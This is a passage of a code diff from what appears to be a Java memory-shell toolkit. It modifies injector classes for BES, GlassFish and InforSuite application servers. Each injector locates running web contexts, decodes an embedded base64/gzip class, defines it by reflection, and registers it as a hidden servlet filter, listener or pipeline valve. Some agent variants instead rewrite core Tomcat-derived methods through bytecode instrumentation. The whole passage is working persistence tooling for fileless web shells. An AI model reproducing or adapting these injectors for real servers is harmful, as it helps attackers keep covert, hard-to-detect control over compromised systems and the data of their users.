defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance();
} }
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
} }
@SuppressWarnings("unchecked") @SuppressWarnings("unchecked")
public void inject(Object context, Object filter) throws Exception { public void inject(Object context, Object filter) throws Exception {
String filterName = getClassName(); String filterName = getClassName();
if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) { if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
log.warning("filter already exists");
return; return;
} }
ClassLoader contextClassLoader = context.getClass().getClassLoader(); ClassLoader contextClassLoader = context.getClass().getClassLoader();
@@ -110,7 +138,11 @@ public class BesFilterInjector {
Object filterConfig = constructors[0].newInstance(context, filterDef); Object filterConfig = constructors[0].newInstance(context, filterDef);
HashMap<String, Object> filterConfigs = (HashMap<String, Object>) getFieldValue(context, "filterConfigs"); HashMap<String, Object> filterConfigs = (HashMap<String, Object>) getFieldValue(context, "filterConfigs");
filterConfigs.put(filterName, filterConfig); filterConfigs.put(filterName, filterConfig);
log.info("filter added successfully"); }
@Override
public String toString() {
return msg;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -194,4 +226,19 @@ public class BesFilterInjector {
throw new RuntimeException("Error invoking method: " + methodName, e); throw new RuntimeException("Error invoking method: " + methodName, e);
} }
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
} }
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.bes;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.*; import java.util.*;
@@ -14,6 +15,8 @@ import java.util.zip.GZIPInputStream;
*/ */
public class BesListenerInjector { public class BesListenerInjector {
private String msg = "";
public String getClassName() { public String getClassName() {
return "{{className}}"; return "{{className}}";
} }
@@ -23,16 +26,43 @@ public class BesListenerInjector {
} }
public BesListenerInjector() { public BesListenerInjector() {
List<Object> contexts = null;
try { try {
List<Object> contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts != null) {
for (Object context : contexts) { for (Object context : contexts) {
Object listener = getShell(context); msg += ("context: [" + getContextRoot(context) + "] ");
inject(context, listener); try {
Object shell = getShell(context);
inject(context, shell);
msg += "[/*] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
} }
} catch (Exception e) {
e.printStackTrace();
} }
} }
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public List<Object> getContext() throws Exception { public List<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); List<Object> contexts = new ArrayList<Object>();
@@ -62,15 +92,17 @@ public class BesListenerInjector {
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context); ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try { try {
return classLoader.loadClass(getClassName()).newInstance(); clazz = classLoader.loadClass(getClassName());
} catch (Exception e) { } catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance();
} }
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -78,7 +110,6 @@ public class BesListenerInjector {
Object[] eventListeners = (Object[]) invokeMethod(context, "getApplicationEventListeners", null, null); Object[] eventListeners = (Object[]) invokeMethod(context, "getApplicationEventListeners", null, null);
for (Object eventListener : eventListeners) { for (Object eventListener : eventListeners) {
if (eventListener.getClass().getName().equals(listener.getClass().getName())) { if (eventListener.getClass().getName().equals(listener.getClass().getName())) {
System.out.println("listener already exists");
return; return;
} }
} }
@@ -86,7 +117,11 @@ public class BesListenerInjector {
newListeners.add(listener); newListeners.add(listener);
newListeners.addAll(Arrays.asList(eventListeners)); newListeners.addAll(Arrays.asList(eventListeners));
invokeMethod(context, "setApplicationEventListeners", new Class[]{Object[].class}, new Object[]{newListeners.toArray()}); invokeMethod(context, "setApplicationEventListeners", new Class[]{Object[].class}, new Object[]{newListeners.toArray()});
System.out.println("listener added successfully"); }
@Override
public String toString() {
return msg;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -135,7 +170,7 @@ public class BesListenerInjector {
clazz = clazz.getSuperclass(); clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -163,4 +198,19 @@ public class BesListenerInjector {
throw new RuntimeException("Error invoking method: " + methodName, e); throw new RuntimeException("Error invoking method: " + methodName, e);
} }
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
} }
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.bes;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.*; import java.util.*;
@@ -13,17 +14,7 @@ import java.util.zip.GZIPInputStream;
*/ */
public class BesValveInjector { public class BesValveInjector {
public BesValveInjector() { private String msg = "";
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object valve = getShell(context);
inject(context, valve);
}
} catch (Exception e) {
e.printStackTrace();
}
}
public String getClassName() { public String getClassName() {
return "{{className}}"; return "{{className}}";
@@ -33,6 +24,45 @@ public class BesValveInjector {
return "{{base64Str}}"; return "{{base64Str}}";
} }
public BesValveInjector() {
List<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts != null) {
for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try {
Object shell = getShell(context);
inject(context, shell);
msg += "[/*] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public List<Object> getContext() throws Exception { public List<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); List<Object> contexts = new ArrayList<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
@@ -49,53 +79,42 @@ public class BesValveInjector {
return contexts; return contexts;
} }
private ClassLoader getWebAppClassLoader(Object context) {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) {
Object loader = invokeMethod(context, "getLoader", null, null);
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
}
}
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context); ClassLoader classLoader = context.getClass().getClassLoader();
Class<?> clazz = null;
try { try {
return classLoader.loadClass(getClassName()).newInstance(); clazz = classLoader.loadClass(getClassName());
} catch (Exception e) { } catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
}
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance(); return clazz.newInstance();
} }
}
@SuppressWarnings("all")
public boolean isInjected(Object pipeline) throws Exception {
Object[] valves = (Object[]) invokeMethod(pipeline, "getValves", null, null);
List<Object> valvesList = Arrays.asList(valves);
for (Object valve : valvesList) {
if (valve.getClass().getName().contains(getClassName())) {
return true;
}
}
return false;
}
@SuppressWarnings("all") @SuppressWarnings("all")
public void inject(Object context, Object valve) throws Exception { public void inject(Object context, Object valve) throws Exception {
Object pipeline = invokeMethod(context, "getPipeline", null, null); Object pipeline = invokeMethod(context, "getPipeline", null, null);
if (isInjected(pipeline)) { Object[] valves = (Object[]) invokeMethod(pipeline, "getValves", null, null);
System.out.println("valve already injected"); List<Object> valvesList = Arrays.asList(valves);
for (Object v : valvesList) {
if (v.getClass().getName().contains(getClassName())) {
return; return;
} }
}
Class valveClass = context.getClass().getClassLoader().loadClass("com.bes.enterprise.webtier.Valve"); Class valveClass = context.getClass().getClassLoader().loadClass("com.bes.enterprise.webtier.Valve");
// com.bes.enterprise.webtier.core.DefaultPipeline // com.bes.enterprise.webtier.core.DefaultPipeline
invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve}); invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve});
} }
@Override
public String toString() {
return msg;
}
@SuppressWarnings("all") @SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception { public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass; Class<?> decoderClass;
@@ -142,7 +161,7 @@ public class BesValveInjector {
} }
} }
throw new NoSuchFieldException(name); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -170,4 +189,19 @@ public class BesValveInjector {
throw new RuntimeException("Error invoking method: " + methodName, e); throw new RuntimeException("Error invoking method: " + methodName, e);
} }
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
} }
@@ -40,7 +40,6 @@ public class GlassFishContextValveAgentInjector extends ClassLoader implements C
String name = allLoadedClass.getName(); String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)) { if (TARGET_CLASS.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass); inst.retransformClasses(allLoadedClass);
System.out.println("MemShell Agent is working at org.apache.catalina.core.StandardContextValve.invoke");
} }
} }
} }
@@ -61,6 +60,7 @@ public class GlassFishContextValveAgentInjector extends ClassLoader implements C
}; };
ClassVisitor cv = getClassVisitor(cw); ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES); cr.accept(cv, ClassReader.EXPAND_FRAMES);
System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
return cw.toByteArray(); return cw.toByteArray();
} catch (Throwable e) { } catch (Throwable e) {
e.printStackTrace(); e.printStackTrace();
@@ -77,12 +77,8 @@ public class GlassFishContextValveAgentInjector extends ClassLoader implements C
String signature, String[] exceptions) { String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) { if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) {
try {
Type[] argumentTypes = Type.getArgumentTypes(descriptor); Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName()); return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
} catch (Throwable e) {
e.printStackTrace();
}
} }
return mv; return mv;
} }
@@ -40,7 +40,6 @@ public class GlassFishFilterChainAgentInjector implements ClassFileTransformer {
String name = allLoadedClass.getName(); String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)) { if (TARGET_CLASS.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass); inst.retransformClasses(allLoadedClass);
System.out.println("MemShell Agent is working at org.apache.catalina.core.ApplicationFilterChain.doFilter");
} }
} }
} }
@@ -61,6 +60,7 @@ public class GlassFishFilterChainAgentInjector implements ClassFileTransformer {
}; };
ClassVisitor cv = getClassVisitor(cw); ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES); cr.accept(cv, ClassReader.EXPAND_FRAMES);
System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
return cw.toByteArray(); return cw.toByteArray();
} catch (Throwable e) { } catch (Throwable e) {
e.printStackTrace(); e.printStackTrace();
@@ -77,12 +77,8 @@ public class GlassFishFilterChainAgentInjector implements ClassFileTransformer {
String signature, String[] exceptions) { String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name)) { if (TARGET_METHOD_NAME.equals(name)) {
try {
Type[] argumentTypes = Type.getArgumentTypes(descriptor); Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName()); return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
} catch (Throwable e) {
e.printStackTrace();
}
} }
return mv; return mv;
} }
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.glassfish;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Constructor; import java.lang.reflect.Constructor;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
@@ -13,15 +14,12 @@ import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
* Date: 2022/11/01 * @author pen4uin, ReaJason
* Author: pen4uin
* Description: Tomcat Filter 注入器 Tested version jdk v1.8.0_275
* tomcat v5.5.36, v6.0.9, v7.0.32, v8.5.83, v9.0.67
*
* @author ReaJason
*/ */
public class GlassFishFilterInjector { public class GlassFishFilterInjector {
private String msg = "";
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
} }
@@ -35,18 +33,42 @@ public class GlassFishFilterInjector {
} }
public GlassFishFilterInjector() { public GlassFishFilterInjector() {
List<Object> contexts = null;
try { try {
List<Object> contexts = getContext(); contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts != null) {
for (Object context : contexts) { for (Object context : contexts) {
// skip glassfish /osgi context msg += ("context: [" + getContextRoot(context) + "] ");
if (getFieldValue(context, "serverContext") != null) { try {
Object shell = getShell(context); Object shell = getShell(context);
inject(context, shell); inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
} }
} }
} catch (Exception e) {
e.printStackTrace();
} }
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
} }
/** /**
@@ -79,22 +101,23 @@ public class GlassFishFilterInjector {
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader webAppClassLoader = getWebAppClassLoader(context); ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try { try {
return webAppClassLoader.loadClass(getClassName()).newInstance(); clazz = classLoader.loadClass(getClassName());
} catch (Exception e) { } catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length); clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance();
} }
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public void inject(Object context, Object shell) throws Exception { public void inject(Object context, Object shell) throws Exception {
if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) { if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
System.out.println("filter already injected");
return; return;
} }
Object filterDef; Object filterDef;
@@ -138,7 +161,11 @@ public class GlassFishFilterInjector {
Object filterConfig = filterConfigConstructor.newInstance(context, filterDef); Object filterConfig = filterConfigConstructor.newInstance(context, filterDef);
Map filterConfigs = (Map) getFieldValue(context, "filterConfigs"); Map filterConfigs = (Map) getFieldValue(context, "filterConfigs");
filterConfigs.put(getClassName(), filterConfig); filterConfigs.put(getClassName(), filterConfig);
System.out.println("filter inject success"); }
@Override
public String toString() {
return msg;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -208,6 +235,22 @@ public class GlassFishFilterInjector {
clazz = clazz.getSuperclass(); clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
} }
} }
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.glassfish;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.*; import java.util.*;
@@ -13,17 +14,7 @@ import java.util.zip.GZIPInputStream;
*/ */
public class GlassFishValveInjector { public class GlassFishValveInjector {
public GlassFishValveInjector() { private String msg = "";
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object valve = getShell(context);
inject(context, valve);
}
} catch (Exception e) {
e.printStackTrace();
}
}
public String getClassName() { public String getClassName() {
return "{{className}}"; return "{{className}}";
@@ -33,6 +24,46 @@ public class GlassFishValveInjector {
return "{{base64Str}}"; return "{{base64Str}}";
} }
public GlassFishValveInjector() {
List<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts != null) {
for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try {
Object shell = getShell(context);
inject(context, shell);
msg += "[/*] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public List<Object> getContext() throws Exception { public List<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); List<Object> contexts = new ArrayList<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
@@ -49,7 +80,7 @@ public class GlassFishValveInjector {
return contexts; return contexts;
} }
private ClassLoader getWebAppClassLoader(Object context) { private ClassLoader getWebAppClassLoader(Object context) throws Exception {
try { try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) { } catch (Exception e) {
@@ -60,40 +91,38 @@ public class GlassFishValveInjector {
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
// OSGI 类加载限制,加密相关函数找不到,这儿不得不使用 WebAppClassLoader
ClassLoader classLoader = getWebAppClassLoader(context); ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try { try {
return classLoader.loadClass(getClassName()).newInstance(); clazz = classLoader.loadClass(getClassName());
} catch (Exception e) { } catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance();
} }
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public void inject(Object context, Object valve) throws Exception { public void inject(Object context, Object valve) throws Exception {
Object pipeline = invokeMethod(context, "getPipeline", null, null); Object pipeline = invokeMethod(context, "getPipeline", null, null);
if (isInjected(pipeline)) { Object[] valves = (Object[]) invokeMethod(pipeline, "getValves", null, null);
System.out.println("valve already injected"); List<Object> valvesList = Arrays.asList(valves);
for (Object v : valvesList) {
if (v.getClass().getName().contains(getClassName())) {
return; return;
} }
}
Class valveClass = context.getClass().getClassLoader().loadClass("org.apache.catalina.Valve"); Class valveClass = context.getClass().getClassLoader().loadClass("org.apache.catalina.Valve");
invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve}); invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve});
System.out.println("valve injected successfully");
} }
@SuppressWarnings("all") @Override
public boolean isInjected(Object pipeline) throws Exception { public String toString() {
Object[] valves = (Object[]) invokeMethod(pipeline, "getValves", null, null); return msg;
List<Object> valvesList = Arrays.asList(valves);
for (Object valve : valvesList) {
if (valve.getClass().getName().contains(getClassName())) {
return true;
}
}
return false;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -141,7 +170,7 @@ public class GlassFishValveInjector {
clazz = clazz.getSuperclass(); clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -169,4 +198,19 @@ public class GlassFishValveInjector {
throw new RuntimeException("Error invoking method: " + methodName, e); throw new RuntimeException("Error invoking method: " + methodName, e);
} }
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
} }
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.inforsuite;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Constructor; import java.lang.reflect.Constructor;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
@@ -14,19 +15,8 @@ import java.util.zip.GZIPInputStream;
* @author ReaJason * @author ReaJason
*/ */
public class InforSuiteFilterInjector { public class InforSuiteFilterInjector {
Logger log = Logger.getLogger(InforSuiteFilterInjector.class.getName());
public InforSuiteFilterInjector() { private String msg = "";
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object filter = getShell(context);
inject(context, filter);
}
} catch (Exception e) {
e.printStackTrace();
}
}
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -40,6 +30,45 @@ public class InforSuiteFilterInjector {
return "{{base64Str}}"; return "{{base64Str}}";
} }
public InforSuiteFilterInjector() {
List<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts != null) {
for (Object context : contexts) {
msg += ("context: [" + getContextRoot(context) + "] ");
try {
Object shell = getShell(context);
inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
/** /**
* com.cvicse.loong.enterprise.web.WebModule * com.cvicse.loong.enterprise.web.WebModule
* /usr/local/inforsuite/as/modules/web-glue.jar * /usr/local/inforsuite/as/modules/web-glue.jar
@@ -71,22 +100,23 @@ public class InforSuiteFilterInjector {
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context); ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try { try {
return classLoader.loadClass(getClassName()).newInstance(); clazz = classLoader.loadClass(getClassName());
} catch (Exception e) { } catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance();
} }
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
} }
@SuppressWarnings("unchecked") @SuppressWarnings("unchecked")
public void inject(Object context, Object filter) throws Exception { public void inject(Object context, Object filter) throws Exception {
String filterName = getClassName(); String filterName = getClassName();
if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) { if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
log.warning("filter already exists");
return; return;
} }
ClassLoader contextClassLoader = context.getClass().getClassLoader(); ClassLoader contextClassLoader = context.getClass().getClassLoader();
@@ -114,7 +144,11 @@ public class InforSuiteFilterInjector {
filterConfigs = (HashMap<String, Object>) getFieldValue(context, "iasFilterConfigs"); filterConfigs = (HashMap<String, Object>) getFieldValue(context, "iasFilterConfigs");
} }
filterConfigs.put(filterName, filterConfig); filterConfigs.put(filterName, filterConfig);
log.info("filter added successfully"); }
@Override
public String toString() {
return msg;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -198,4 +232,19 @@ public class InforSuiteFilterInjector {
throw new RuntimeException("Error invoking method: " + methodName, e); throw new RuntimeException("Error invoking method: " + methodName, e);
} }
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
